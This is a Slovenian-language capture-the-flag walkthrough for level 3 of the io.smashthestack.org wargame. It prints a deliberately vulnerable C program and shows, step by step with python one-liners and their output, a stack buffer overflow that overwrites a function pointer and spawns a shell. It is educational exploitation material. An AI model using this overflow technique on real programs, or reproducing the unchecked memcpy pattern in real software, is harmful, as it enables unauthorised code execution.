Nekaj besed o tretji stopnji io.smashthestack.org.
$ ssh -l level3 io.smashthestack.org -p2224
level3@io:/levels$ cat level03.c
//bla, based on work by beach
#include <stdio.h>
#include <string.h>
void good()
{
puts("Win.");
execl("/bin/sh", "sh", NULL);
}
void bad()
{
printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}
int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];
if(argc != 2 || strlen(argv[1]) < 4)
return 0;
memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) - 4);
printf("This is exciting we're going to %p\n", functionpointer);
functionpointer();
return 0;
}
void *memcpy(void *dest, const void *src, size_t n);
Funkcija memcpy
kopira n
bajtov iz dela pomnilnika src
v del pomnilnika na naslovu dest
. Izvorni in ciljni del pomnilnika se ne smeta prekrivati. Funkcija vrne kazalec na dest
.
Pomanjkanje preverjanja zaključnega null
znaka v izvornem nizu nas takoj opozori na moznost uporabe prekoracitve pomnilnika (ang. buffer overflow).
Podrobno je zadeva opisana v legendarnem clanku “Smashing the stack for fun and profit”, ki je izsel v 49. izdaji Phrack-a leta 1996.
void *memset(void *s, int c, size_t n);
Funkcija memset
napolne prvih n
bajtov na naslovu s
z vrednostjo c
. Funkcija vraca kazalec na s
.
Osnova izkoriscanja prekoracitve pomnilnika je pomanjkanje preverjanja kdaj se dolocen niz zakljuci.
Glede na to da je buffer
velik 50 bajtov, predvidevamo, da moramo medpomnilnik napolniti z vsaj 50 bajti poljubnih podatkov, da pridemo do napake v segmentaciji (ang. segmentation fault). Probajmo najprej nasilni pristop z nekaj znanja pythona.
level3@io:/levels$ ./level03 $(python -c 'print "A"*50')
This is exciting we're going to 0x80484a4
I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474
Vidimo, da bomo potrebovali vec nakljucnih podatkov, poskusimo povecat kolicino vnosa:
level3@io:/levels$ ./level03 $(python -c 'print "A" * 100')
This is exciting we're going to (nil)
Segmentation fault
Ocitno smo pretiravali s kolicino:
level3@io:/levels$ ./level03 $(python -c 'print "A" * 80')
This is exciting we're going to 0x41414141
Segmentation fault
Vemo da ima znak A
, ki ga vnasamo v pomnilnik, v sestnajstiskem sestavu vrednost 41 in vidimo da smo uspeli prepisati lokacijo, torej smo zelo blizu. Razlika med 0x80484a4
in 0x8048474
je le v zadnjem bajtu, ki ga moramo dejansko prepisati, ko smo enkrat na lokaciji 0x8048441
, enostavno zmanjsamo stevilo vnesenih znakov A
za ena in v pomnilnik vpisemo \x74
:
level3@io:/levels$ ./level03 $(python -c 'print "A" * 77')
This is exciting we're going to 0x8048441
Illegal instruction
Torej program lahko prepričamo v izvršitev “dobre” funkcije, če mu podamo 76 bajtov smeti in naslov na katerem se nahaja funkcija good
"\x74\x84\x04\x08"
:
level3@io:/levels$ ./level03 $(python -c 'print "A" * 76 + "\x74"')
This is exciting we're going to 0x8048474
Win.
sh-4.2$